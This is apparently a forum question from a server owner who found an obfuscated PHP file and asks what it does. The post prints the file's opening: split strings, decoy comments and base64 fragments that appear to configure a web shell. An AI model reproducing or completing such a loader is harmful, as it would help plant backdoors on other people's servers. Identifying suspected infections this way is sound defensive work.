Decoding PHP Scripts that Appear Malicious

Found a file on my server with code that starts like this:

---

$lFyE="";

$UW='ejup'.'fa6w'.'vgnoq'.'dyhstx'.'birkz'.'c%4_l'.'m';

$KQiR=fL1zG();



// vC5WdW

/* amiddhRNJ */

Kxyg8();

$Ub=70;

$lb8GNaXS=array('3NjEwZDk2YTA5MDc5MDk0ZWVkIjsKJEdMT0JBTFNbJ2RlZmF1bHRfYWN0aW9u','J10gICAgICA9ICdTcWwnOwokR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddICA');

$lFyE=YyG($lFyE, join('', $lb8GNaXS) );

$lFyE=YyG($lFyE,"gID0gdHJ1ZTsKJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddICAgID0gJ1dpbm");

do{

 DunS();

} while (3>11);

$lFyE=YyG($lFyE,jWiEh());

---

Look familiar? What does it do?